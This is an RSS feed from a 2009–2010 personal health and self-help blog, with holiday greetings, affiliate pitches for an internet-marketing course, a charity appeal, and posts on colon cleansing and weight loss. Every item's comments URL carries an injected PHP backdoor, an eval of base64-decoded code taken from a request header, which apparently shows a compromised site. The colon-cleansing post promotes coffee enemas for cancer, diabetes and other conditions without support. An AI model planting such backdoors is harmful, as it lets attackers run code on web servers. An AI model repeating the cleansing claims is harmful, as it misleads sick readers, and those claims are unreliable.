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<channel>
	<title>All About Health</title>
	
	<link>http://allabouthealth.us/blog</link>
	<description>Defining All Aspects About Your Health</description>
	<lastBuildDate>Mon, 04 Jan 2010 23:34:54 +0000</lastBuildDate>
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		<title>Happy New Years – Are you Being True to You?</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/TN8UM-OEDjg/</link>
		<comments>http://allabouthealth.us/blog/2010/01/04/happy-new-years-are-you-being-true-to-you/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 23:34:54 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Defining Aspects]]></category>
		<category><![CDATA[Call To Greatness]]></category>
		<category><![CDATA[Car Accident]]></category>
		<category><![CDATA[Charitable Cause]]></category>
		<category><![CDATA[Charitable Causes]]></category>
		<category><![CDATA[Copy Paste]]></category>
		<category><![CDATA[Disappointment]]></category>
		<category><![CDATA[Fundraiser]]></category>
		<category><![CDATA[Fundraising]]></category>
		<category><![CDATA[Happy New Years]]></category>
		<category><![CDATA[Ivison]]></category>
		<category><![CDATA[Journey]]></category>
		<category><![CDATA[New Direction]]></category>
		<category><![CDATA[Parents]]></category>
		<category><![CDATA[Service Dog Training]]></category>
		<category><![CDATA[Surf]]></category>
		<category><![CDATA[Surfer]]></category>
		<category><![CDATA[Surfing]]></category>
		<category><![CDATA[Traumatic Brain Injury]]></category>
		<category><![CDATA[Unbelievable Things]]></category>
		<category><![CDATA[Voices]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/happy-new-years-are-you-being-true-to-you/</guid>
		<description><![CDATA[Happy New Years to Everybody! I want to ask you one very important question, Are You Being True To You? (Or are you trying to be what others want you to be?) Here is an example of what can be accomplished when you are being true to yourself&#8230; From service dog to SURFice dog Surf [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Happy New Years to Everybody!</strong> I want to ask you one very important question, Are You Being True To You? (Or are you trying to be what others want you to be?)</p>
<p>Here is an example of what can be accomplished when you are being true to yourself&#8230;</p>
<p><strong>From service dog to SURFice dog</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/BGODurRfVv4&amp;hl=en_US&amp;fs=1&amp;color1=0x006699&amp;color2=0x54abd6" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/BGODurRfVv4&amp;hl=en_US&amp;fs=1&amp;color1=0x006699&amp;color2=0x54abd6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385" /></object></p>
<p>Surf dog Ricochet&#8217;s inspirational video highlighting her journey from service dog training, to turning disappointment into a joyful new direction, to surfing with quadriplegic surfer, Patrick Ivison, to fundraising for charitable causes. She is currently leading a fundraiser for a six year old boy named Ian who suffered a traumatic brain injury in a horrific car accident that claimed the lives of his parents. If you&#8217;d like to help Ricochet help Ian, please go to <a href="http://www.ripcurlricki.com">http://www.ripcurlricki.com</a>. To follow her on Facebook&#8230; search for &#8220;Surf Dog Ricochet&#8221; or copy/paste <a href="http://www.facebook.com/#/pages/Surf">http://www.facebook.com/#/pages/Surf</a>-&#8230; Thank you for watching, and donating to her charitable cause.</p>
<p>Each of us has a calling and when we are true to it we can accomplish unbelievable things. When we allow the voices of others to clutter up our minds and destract us from hearing that voice within us, we lose sight and in the end, cheat ourselves and all of those around us of the gift that we were intended to bring.</p>
<p>As this year begins, I urge each of you &#8211; and myself &#8211; to realign with that calling and your call to greatness.</p>
<p>Make 2010 the best year yet!</p>
<img src="http://feeds.feedburner.com/~r/allabouthealth/gBeV/~4/TN8UM-OEDjg" height="1" width="1"/>]]></content:encoded>
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		<item>
		<title>Merry Christmas – A Breath of Heaven</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/VYnxltUPtwM/</link>
		<comments>http://allabouthealth.us/blog/2009/12/25/merry-christmas-a-breath-of-heaven/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 14:41:26 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Defining Aspects]]></category>
		<category><![CDATA[Self Help and Motivational]]></category>
		<category><![CDATA[Amy Grant]]></category>
		<category><![CDATA[Beautiful]]></category>
		<category><![CDATA[Breath Of Heaven]]></category>
		<category><![CDATA[Christmas]]></category>
		<category><![CDATA[Happy New Year]]></category>
		<category><![CDATA[Magic]]></category>
		<category><![CDATA[Merry Christmas And A Happy New Year]]></category>
		<category><![CDATA[New Breath]]></category>
		<category><![CDATA[New Year]]></category>
		<category><![CDATA[No Doubt]]></category>
		<category><![CDATA[Prayer]]></category>
		<category><![CDATA[Reason]]></category>
		<category><![CDATA[Ruben]]></category>
		<category><![CDATA[Whisper In Time]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/merry-christmas-a-breath-of-heaven/</guid>
		<description><![CDATA[I want to wish each and every one of you a very Merry Christmas and a Happy New Year. I truly hope that each of you have been able to share a breath of Heaven with the ones that you love and have found a new breath of heaven breathed into you for your efforts. [...]]]></description>
			<content:encoded><![CDATA[<p>I want to wish each and every one of you a very <strong>Merry Christmas</strong> and a <strong>Happy New Year</strong>. I truly hope that each of you have been able to share a breath of Heaven with the ones that you love and have found a new breath of heaven breathed into you for your efforts.</p>
<p>&nbsp;</p>
<p>Here is another beautiful <strong>Breath of Heaven</strong> as seen by <strong>Amy Grant</strong>.</p>
<p><strong>Enjoy!</strong></p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/qgVBPsYVljM&amp;hl=en_US&amp;fs=1&amp;color1=0x006699&amp;color2=0x54abd6" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/qgVBPsYVljM&amp;hl=en_US&amp;fs=1&amp;color1=0x006699&amp;color2=0x54abd6" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385" /></object></p>
<p>&nbsp;</p>
<p><strong><em>&#8220;There is nothing as intricate as a moment<br />
    a simple whisper in time<br />
That can offer so much magic and healing<br />
    it is no doubt divine<br />
Given to us from Heaven<br />
    in hopes that we would share<br />
Unselfishly with each other<br />
    a reason for the cross he did bear<br />
Lord let us remember<br />
    let it be our breath and prayer<br />
To offer it to each other<br />
    so that we all know we care.&#8221;</em></strong></p>
<p>                                     <strong><em>Amen</em></strong></p>
<p>&nbsp;</p>
<p>That one is from me. Merry Christmas!</p>
<p>Ruben</p>
<img src="http://feeds.feedburner.com/~r/allabouthealth/gBeV/~4/VYnxltUPtwM" height="1" width="1"/>]]></content:encoded>
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		<item>
		<title>Get The 7 Figure Code Free</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/vAu8CTaKGu4/</link>
		<comments>http://allabouthealth.us/blog/2009/12/15/get-the-7-figure-code-free/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 18:36:07 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Financial Health]]></category>
		<category><![CDATA[Product Reviews]]></category>
		<category><![CDATA[Figure Code]]></category>
		<category><![CDATA[Good Luck]]></category>
		<category><![CDATA[Half An Hour]]></category>
		<category><![CDATA[Home Study Course]]></category>
		<category><![CDATA[Mike Filsaimes]]></category>
		<category><![CDATA[One Of The Lucky Ones]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/get-the-7-figure-code-free/</guid>
		<description><![CDATA[If you hurry you can get Mike Filsaimes &#8220;7 Figure Code&#8221; Home Study Course Free. It goes Live in half an hour. I have this myself and can tell you it is nothign short of amazing information. Go Here Now: http://rehunter.the7figurecode.com I hope you are one of the lucky ones who gets this! Good Luck! [...]]]></description>
			<content:encoded><![CDATA[<p>If you hurry you can get Mike Filsaimes &#8220;7 Figure Code&#8221; Home Study Course Free. It goes Live in half an hour.</p>
<p>I have this myself and can tell you it is nothign short of amazing information.</p>
<p>Go Here Now:</p>
<p><a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<p>I hope you are one of the lucky ones who gets this!</p>
<p>Good Luck!</p>
<p>Ruben</p>
<img src="http://feeds.feedburner.com/~r/allabouthealth/gBeV/~4/vAu8CTaKGu4" height="1" width="1"/>]]></content:encoded>
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		<item>
		<title>Mike Filsaime is giving you his $1297 home study course free</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/VWxXVgATyX8/</link>
		<comments>http://allabouthealth.us/blog/2009/12/14/mike-filsaime-is-giving-you-his-1297-home-study-course-free/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 03:18:52 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Defining Aspects]]></category>
		<category><![CDATA[15 Minutes]]></category>
		<category><![CDATA[Amp]]></category>
		<category><![CDATA[Guru Business]]></category>
		<category><![CDATA[Holiday Season]]></category>
		<category><![CDATA[Home Study Course]]></category>
		<category><![CDATA[Mike Filsaime]]></category>
		<category><![CDATA[Myths]]></category>
		<category><![CDATA[New Direction]]></category>
		<category><![CDATA[One Of The Lucky Ones]]></category>
		<category><![CDATA[Passion]]></category>
		<category><![CDATA[Pierce]]></category>
		<category><![CDATA[Presentation]]></category>
		<category><![CDATA[The7figurecode]]></category>
		<category><![CDATA[Time 2pm]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/mike-filsaime-is-giving-you-his-1297-home-study-course-free/</guid>
		<description><![CDATA[Mike Filsaime is giving you his $1297 home study course free! Before you do ANYTHING&#8230; Mark Down This Date and Time: DATE: Tuesday, December 15th, 2009 TIME: 2PM EST It is true&#8230; Mike Filsaime just released a video to explain why he is leaving the &#8220;GURU&#8221; business in 2010. http://rehunter.the7figurecode.com I will get to why [...]]]></description>
			<content:encoded><![CDATA[<p>Mike Filsaime is giving you his $1297 home study course free!</p>
<p>Before you do ANYTHING&#8230;</p>
<p>Mark Down This Date and Time:</p>
<p>DATE: Tuesday, December 15th, 2009<br />
TIME: 2PM EST</p>
<p>It is true&#8230;</p>
<p>Mike Filsaime just released a video to explain why<br />
he is leaving the &#8220;GURU&#8221; business in 2010.</p>
<p><a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<p>I will get to why he is giving away his $1297.00<br />
Home Study course &#8220;The 7 Figure Code&#8221; for<br />
free below&#8230;</p>
<p>&#8230;but first&#8230;.</p>
<p>In this truthful TELL ALL video, Mike explains<br />
the new direction of his company and how he plans to<br />
double his business by following his passion.</p>
<p>He talks candidly about why he is making this move<br />
and other things to dispel any myths about why he is<br />
leaving the GURU business.</p>
<p>To leave with a &#8220;Bang&#8221;, Mike is giving away his best<br />
selling product &#8220;The 7 Figure Code&#8221; to the industry he<br />
says &#8220;has been very good to him.&#8221; and he is doing<br />
it during the holiday season (seems fitting.)</p>
<p><a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<p>Mike says he is giving away 10,000 copies on Dec 15th<br />
so make sure to register and mark down that date.</p>
<p>Mike is giving away his favorite presentation including<br />
Stephen Pierce from this home study course RIGHT NOW<br />
just for registering. You don&#8217;t want to miss this.</p>
<p><a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<p>Thanks,</p>
<p>Ruben</p>
<p>P.S. &#8211; Remember, this sells for $1297 and it is yours<br />
free if you are one of the lucky ones to grab a free<br />
copy before they are gone.</p>
<p>He sold 2500 in 7 days at $1297.00 so you can be<br />
quite certain that 10,000 copies will go very fast.</p>
<p><a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<p>
P.S.S. &#8211; If you have been struggling to make anything<br />
online work, or if you want to take your business<br />
even further, this may very well be the answer you<br />
have been waiting for &#8211; FOR ONLY S&amp;H!!</p>
<p>You will want to be there about 15 minutes early</p>
<p>DATE: Tuesday, December 15th, 2009<br />
TIME: 2PM EST<br />
<a href="http://rehunter.the7figurecode.com">http://rehunter.the7figurecode.com</a></p>
<img src="http://feeds.feedburner.com/~r/allabouthealth/gBeV/~4/VWxXVgATyX8" height="1" width="1"/>]]></content:encoded>
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		<item>
		<title>Take a Look at Eye On Vision</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/Bjqx9uEMfa0/</link>
		<comments>http://allabouthealth.us/blog/2009/11/07/take-a-look-at-eye-on-vision/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 01:44:44 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Diseases, Conditions and Treatments]]></category>
		<category><![CDATA[Dallas Tx]]></category>
		<category><![CDATA[Eye Vision]]></category>
		<category><![CDATA[Fellow Man]]></category>
		<category><![CDATA[Floaters In The Eyes]]></category>
		<category><![CDATA[Initial Studies]]></category>
		<category><![CDATA[Internet Marketer]]></category>
		<category><![CDATA[Macular Degeneration]]></category>
		<category><![CDATA[Money]]></category>
		<category><![CDATA[Necessary Research]]></category>
		<category><![CDATA[New Organization]]></category>
		<category><![CDATA[Visual Snow]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/?p=324</guid>
		<description><![CDATA[I attended the Gateway To Wealth Event in Dallas, TX. a couple of weeks ago and heard about a new organization that is out to accomplish something amazing. Let&#8217;s take a look at the EyeOnVision.org. I was really moved by this story as I can definitely relate. There are over 15,000 documented cases of this [...]]]></description>
			<content:encoded><![CDATA[<p>I attended the Gateway To Wealth Event in Dallas, TX. a couple of weeks ago and heard about a new organization that is out to accomplish something amazing. Let&#8217;s take a look at the <a title="What is EyeOnVision?" href="http://eyeonvision.org/faq.html" target="_blank">EyeOnVision.org</a>.</p>
<p>I was really moved by this story as I can definitely relate. There are over 15,000 documented cases of this disease but it wasn&#8217;t enough to prompt the government to subsidize funds for the necessary research needed to find a cure. However, a well known Internet marketer who was touched by this terrible disease joined his wife and made certain that the initial studies were done so as to ensure the next studies necessary would follow. Take a look at <a title="EyeOnVision.org Non-Profit Organization" href="http://eyeonvision.org" target="_blank">Eyeonvision.org</a>, it was created to raise the money to truly save lives.</p>
<p>It will be folks like you and I who care enough about each other and our fellow man who will keep this effort alive. I urge you to go take a look at <a title="Eye On Vision is Helping The World to See Clearly" href="http://eyeonvision.org" target="_blank">Eye On Vision</a> now.</p>
<p>Thank you.</p>
<img src="http://feeds.feedburner.com/~r/allabouthealth/gBeV/~4/Bjqx9uEMfa0" height="1" width="1"/>]]></content:encoded>
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		<item>
		<title>Colon Cleansing</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/nZigfVczOLk/</link>
		<comments>http://allabouthealth.us/blog/2009/06/03/colon-cleansing/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 04 Jun 2009 01:49:42 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Emotional Health]]></category>
		<category><![CDATA[Helpful Health Solutions for the Body]]></category>
		<category><![CDATA[Product Reviews]]></category>
		<category><![CDATA[Alkaline Foods]]></category>
		<category><![CDATA[Alkaline Water]]></category>
		<category><![CDATA[Array]]></category>
		<category><![CDATA[Balanced Body]]></category>
		<category><![CDATA[Benefits Of Colon Cleansing]]></category>
		<category><![CDATA[Cancer]]></category>
		<category><![CDATA[Chemical Sensitivities]]></category>
		<category><![CDATA[Christopher Vasey]]></category>
		<category><![CDATA[Coffee Enema]]></category>
		<category><![CDATA[Coffee Enemas]]></category>
		<category><![CDATA[Colon]]></category>
		<category><![CDATA[Colon Health]]></category>
		<category><![CDATA[Colon Tubes]]></category>
		<category><![CDATA[David Whelan]]></category>
		<category><![CDATA[Fibromyalgia]]></category>
		<category><![CDATA[Health Challenges]]></category>
		<category><![CDATA[Kristina Amelong]]></category>
		<category><![CDATA[Methodologies]]></category>
		<category><![CDATA[Organic Coffee]]></category>
		<category><![CDATA[Own Health]]></category>
		<category><![CDATA[Ph Balance]]></category>
		<category><![CDATA[Simple Fact]]></category>
		<category><![CDATA[Therapeutic Benefits]]></category>
		<category><![CDATA[Video Series]]></category>
		<category><![CDATA[Whys]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/?p=285</guid>
		<description><![CDATA[Explore the importance of Colon Cleansing, maintaining colon health and the correlation between colon health and pH balance.]]></description>
			<content:encoded><![CDATA[<p>I can&#8217;t stress enough the necessity of colon cleansing. The simple fact that it is the second leading form of cancer should say enough. I have gone through cleanses myself due to my own health challenges and noticed a marked improvement as a result.</p>
<p>I have found a couple of videos to include here that will no doubt better explain the whys and how-to&#8217;s of the colon cleanse. I chose these as they are very informative and represent a couple different methodologies to achieve the same result.</p>
<p><strong>Colon Cleansing and Coffee Enemas &#8211; Part 1 &#8211; www.optimalhealthnetwork.com</strong></p>
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<p>In this excerpt from the educational DVD, &#8220;Cleansing, Coffee Enemas, &amp; Colon Tubes,&#8221; available for purchase at www.optimalhealthnetwork.com?click=28 , Kristina Amelong explains the therapeutic benefits of colon cleansing using organic coffee enemas to detoxify the body in the treatment of health issues such as fibromyalgia, prostatitis, diabetes, cancer, cigarette withdrawal, and chemical sensitivities. She also explains how to safely prepare the enema coffee. The coffee enema protocol is &#8230;</p>
<p><strong>Optimal Colon Health &#8211; The Centerpiece of pH Balance</strong></p>
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<p><strong>Optimal Colon Health</strong> &#8211; <strong>The centerpiece of pH balance</strong> &#8211; (part 1) www.ph-ion.com This is part one of a 4 part video series where we&#8217;re going to explore the importance of maintaining colon health and the correlation between colon health and pH balance. While you can re alkalize your body up by eating plenty of alkaline foods, drinking plenty of good alkaline water, and replenishing your depleted mineral and enzyme &#8211; you won&#8217;t STAY in balance of realize the full benefits of a balanced body if &#8230;</p>
<p><strong>Colon Cleansing &#8211; How To Do A Cleanse The Right Way</strong></p>
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<p><strong>Colon Cleansing www.ph-ion.com</strong> &#8211; This is part two of a 4 part video series where we&#8217;re exploring the importance of maintaining colon health and the correlation between colon health and pH balance. In this part, David whelan and Christopher Vasey ND talk about why keeping a healthy colon is HUGEly important to maintaining pH balance. Specifically, we&#8217;re chatting about proper and effective colon cleansing. Not only can a toxic and clogged colon lead to acidification in your body, but the reverse &#8230;</p>
<p>I hope that this information has helped to shed a bit of light on the subject for you and helps you to make an informed decision.</p>
<p>Ruben</p>
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		<title>The Process of Cleansing</title>
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		<comments>http://allabouthealth.us/blog/2009/05/20/the-process-of-cleansing/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Wed, 20 May 2009 16:17:57 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Diseases, Conditions and Treatments]]></category>
		<category><![CDATA[Helpful Health Solutions for the Body]]></category>
		<category><![CDATA[Product Reviews]]></category>
		<category><![CDATA[Adjective]]></category>
		<category><![CDATA[Body Cleanse]]></category>
		<category><![CDATA[Cancer Cleanse]]></category>
		<category><![CDATA[Cleansing Moments]]></category>
		<category><![CDATA[Cleansing the mind]]></category>
		<category><![CDATA[detox the body]]></category>
		<category><![CDATA[Earth Day]]></category>
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		<category><![CDATA[Letting Go]]></category>
		<category><![CDATA[Mind And Body]]></category>
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		<category><![CDATA[Subconscious Mind]]></category>
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		<category><![CDATA[Window Change]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/?p=269</guid>
		<description><![CDATA[If we take a few moments of every day to quiet our minds and listen to our bodies the amount of peace we can find as well as the many things we can achieve are unfathomable.]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
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<p>As I sit here next to my window writing this morning, I am watching life outside my window change. I can almost see the process of cleansing in motion as the earth has shed the previous day and welcomes this new morning. It reminds me of our necessity to do the same.</p>
<p>I hope that you are all doing quite well today. I know that when I awoke this morning I really wasn&#8217;t. In fact, I fought myself most of the night and finally got up growling at myself. Isn&#8217;t it funny how we procrastinate change sometimes? Perhaps funny is the wrong adjective today and aggravating is the more appropriate word.</p>
<p> The truth is that my subconscious mind is acknowledging my consciuos mind and body going through a necessary change right now. Because I don&#8217;t know exactly what it is, it is frustrating. It made me restless and I couldn&#8217;t sleep. This is part of the cleansing process.</p>
<p>I can sit here and list out several changes that I am going through right now. There are many. In being totally honest with myself, I can admit that many of the changes have been in motion for some time. Now, due to procrastination or uncertainty of the next step, I haven&#8217;t moved forward with the process and many of them have simply mounted up. This is what happens when we resist change. Either in our mind or in our bodies, this process of building up is what inevitably causes disease (dis-ease) and requires a cleansing process to help things flow again.</p>
<p>This morning, I simply had to look out the window and quiet my mind long enough to see exactly what was going on. If we simply listen &#8211; make ourselves aware, truly aware &#8211; our bodies and our minds will always tell us what we need to do to. Sometimes the answer is easier than others, but it will always require a process of cleansing. The letting go of something in order to move forward.</p>
<p>The process of cleansing I would recommend for the mind is to always ensure a few moments of every day be spent in quiet, by yourself and uninterrupted so that you may listen to what your body is telling you. Knowing what you need to do is the first step before mustering up the courage or energy to do it can take place.</p>
<p>For the body, I recommend the book &#8220;<a title="The Complete Cancer Cleanse" href="http://www.amazon.com/gp/product/0785288635?ie=UTF8&amp;tag=allabohea" target="_blank">The Complete Cancer Cleanse</a>&#8221; by Cherie Calbom, M.S. as a competent solution to help you in each process of cleansing your body. It is a book I keep on my desk and refer to often. A very kind woman sent this to me when learning of my battle with Lymphoma. It was recommended to her by her father, an Oncologist at The Cancer Treatment Centers Of America in Tulsa, OK.</p>
<p>I am certain that if we take a few moments of every day to quiet our minds and listen to our bodies the amount of peace we can find as well as the many things we can achieve are unfathomable. It is a habit I once stayed true to, and one I shall commit to own again &#8211; today.</p>
<p>The simple act of writing this was a process of cleansing that has brought peace to my mind and a clarity of focus. Now I a can confidently work on my business. </p>
<p>Have a great day! </p>
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		<title>Traditional Weight Loss Methods Work – Be Wary of Lipodissolve</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/dFpjlMqJkLA/</link>
		<comments>http://allabouthealth.us/blog/2009/05/14/traditional-weight-loss-methods-work-be-wary-of-lipodissolve/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Thu, 14 May 2009 20:40:54 +0000</pubDate>
		<dc:creator>admin </dc:creator>
				<category><![CDATA[Health and Fitness]]></category>
		<category><![CDATA[Excercise]]></category>
		<category><![CDATA[fruits]]></category>
		<category><![CDATA[healthy weight loss]]></category>
		<category><![CDATA[lopodisolve]]></category>
		<category><![CDATA[vegetables]]></category>
		<category><![CDATA[Weight Loss]]></category>
		<category><![CDATA[whole grains]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog//?p=120</guid>
		<description><![CDATA[The keys to successful weight maintenance are permanent lifestyle changes, a long-term commitment and constant vigilance]]></description>
			<content:encoded><![CDATA[<p>Get out the champagne because you shed that unwanted weight after months of trying. You beat the bulge, and you did it naturally without liposuction, lipodissolve injections, or a Lap-Band. Your weight loss has resulted in lowering your blood pressure and cholesterol, not to mention the loss in inches off your waist. While you are delighted with the results, you can&#8217;t help but think, &#8220;Will I gain it all back?&#8221;</p>
<p>Keeping the weight off once it&#8217;s gone is a battle for most. The principals are basically the same: eat right and adopt a <a href="http://www.heartmart.com/heart-health/exercise/exercise-and-heart-disease.html" target='_blank'>heart healthy exercise</a> plan. You can&#8217;t revert to old eating habits and expect the weight to stay off. The keys to successful weight maintenance are permanent lifestyle changes, a long-term commitment and constant vigilance.</p>
<p>Follow some simple advice to keep yourself healthy:</p>
<p>1. Continue your exercise regimen. This is one of the most important things you can do. 30-60 minutes of moderate physical activity daily will help you maintain your weight by burning the calories you are taking in. </p>
<p>2. Opt for healthier meals. Fruits, vegetables and whole grains are nutrient-dense foods that are low in calories and will make you feel &#8220;full&#8221; throughout the day. No one food has all of the nutrients you need, so remember to eat a variety of foods. You don&#8217;t have to swear off high-fat, high-calorie foods completely, just consume them in moderation. </p>
<p>3. Eat at home versus going out. People tend to eat more when they eat out because the portions tend to be larger and it&#8217;s difficult to assess caloric content on a meal that has been prepared for you. The best advice here is to avoid eating out, if at all possible. If not, ask to have half of the portion boxed up to-go before the plate is brought out and served to you. Not having the whole portion in front of you will keep you from over-eating.</p>
<p>4. Regularly check the scale. You will be more successful in keeping off the pounds if you weigh yourself regularly. Monitoring weight can tell you if your efforts are working and if you need to make tweaks to your diet and exercise regimen before any small weight gains become larger. </p>
<p>5. Find people to be around who have similar goals. The buddy system works in weight loss as well as weight maintenance. Getting support for your efforts, whether it be through a friend or group of people on the same path, will make you feel like you are not alone. Having someone who supports your healthy eating habits and lifestyle can ultimately mean the difference between success and failure.</p>
<p>For those who have lost the weight but are angry about cellulite that simply won&#8217;t go away, some consider a treatment known as <a href="http://www.ehealthinfoline.com/lipo_dissolve.html" target='_blank'>lipo-dissolve</a>. Lipodissolve, also known as injection lipolysis, is a non-surgical body sculpting treatment aimed to remove small volumes of fat through injections of a combination of drugs, known as phosphatidylcholine and deoxycholate (PCDC). While some doctors claim that the treatment is safe and effective, the FDA has not approved the drugs used in Lipodissolve. In fact, the FDA has stated, &#8220;Consumers need to know that this is a buyer-beware situation. These are unapproved drugs for unapproved uses.&#8221; Outside the U.S., several countries have banned or warned against the cosmetic use of Lipodissolve treatments, including Brazil, Canada and the UK, and numerous medical organizations in the U.S., including the American Society for Aesthetic Plastic Surgery and American Society for Dermatologic Surgery, have warned against the unapproved drug treatment. Before signing up make sure you&#8217;re comfortable with what you learned about <a href="http://www.lipotreatmentfacts.org/enforcementaction.php" target='_blank'>lipo dissolve effectiveness</a> or you could be sorry.</p>
<p>Now that you&#8217;ve beat the bulge, you may think the fight is over. The truth is, if you want to keep the weight off, you have to adhere to some lifestyle changes and not look to unapproved, unproven medical treatments. Eat healthy and exercise regularly. Make a long-term commitment to your health and well-being. Your body will thank you for it.</p>
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		<title>Never give up</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/e-xNp3d893A/</link>
		<comments>http://allabouthealth.us/blog/2009/03/02/never-give-up/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 03:24:17 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Mental Health]]></category>
		<category><![CDATA[Self Help and Motivational]]></category>
		<category><![CDATA[mark joyner]]></category>
		<category><![CDATA[never give up]]></category>
		<category><![CDATA[Positive thinking]]></category>
		<category><![CDATA[reaching goals]]></category>
		<category><![CDATA[simpleology]]></category>
		<category><![CDATA[stay positive]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/?p=249</guid>
		<description><![CDATA[Never give up on your dreams and goals. Even if it means you have to go at a slower pace, it is worth it to persevere. In the end, the goal will be realized and your life will change as a result. 
]]></description>
			<content:encoded><![CDATA[<p>It has been a while since I have posted anything new on here and I wanted to offer an apology. The post for today is never give up.</p>
<p>No matter what life throws at you, don&#8217;t give up on your dreams. I have been struggling with my illness and it has been a rough couple of months but regardless, I am not willing to give up on my dreams. My dreams are to create a thriving business online and to be able to help others to do the same.</p>
<p>There are so many different aspects to this and I have a ton of different ideas and projects &#8211; it is so easy to become overwhelmed and get off track. In staying true to my vision, I have had to pick and choose which aspect of my business to work on given the time I have to do it. So, every day I do just that. I pick something and do it knowing that in the end, it will all come together.</p>
<p>It may not be much but if I can help one other person to to do the same in spite of their challenges, it will have been worth it to post this. Never give up on your dreams and goals. Even if it means you have to go at a slower pace, it is worth it to persevere. In the end, the goal will be realized and your life will change as a result.</p>
<p>Here is to your success always.</p>
<p>Ruben</p>
<p>P.S. &#8211; A great course online to help you acheive your goals is <a title="Simpleology by Mark Joyner" href="http://simpleology.com" target="_blank">Simpleology</a> created by Mark Joyner.</p>
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		<item>
		<title>New Course on Blogging</title>
		<link>http://feedproxy.google.com/~r/allabouthealth/gBeV/~3/3-oBOnPF_K8/</link>
		<comments>http://allabouthealth.us/blog/2009/03/02/new-course-on-blogging/%&amp;($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&amp;%/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 02:48:50 +0000</pubDate>
		<dc:creator>Admin</dc:creator>
				<category><![CDATA[Defining Aspects]]></category>
		<category><![CDATA[Financial Health]]></category>
		<category><![CDATA[make money]]></category>
		<category><![CDATA[make money blogging]]></category>
		<category><![CDATA[mark joyner]]></category>
		<category><![CDATA[simpleology]]></category>

		<guid isPermaLink="false">http://allabouthealth.us/blog/?p=245</guid>
		<description><![CDATA[The best blogging techniques. 
How to get traffic to your blog. 
How to turn your blog into money. ]]></description>
			<content:encoded><![CDATA[<div id="simpleology_blog_d67c4083279f6e110a817e5b2586a7ca">
<p>I&#8217;m evaluating a <a href="http://www.simpleology.com/training/blogging/index.php">multi-media course on blogging</a> from the folks at Simpleology.  For a while, they&#8217;re letting you <b><a href="http://www.simpleology.com/training/blogging/index.php">snag it for free</a></b> if you post about it on your blog.</p>
<p>It covers:</p>
<ul>
<li>The best blogging techniques.</li>
<li>How to get traffic to your blog.</li>
<li>How to turn your blog into money.</li>
</ul>
<p>I&#8217;ll let you know what I think once I&#8217;ve had a chance to check it out. Meanwhile, go grab yours while it&#8217;s still free.</p>
</div>
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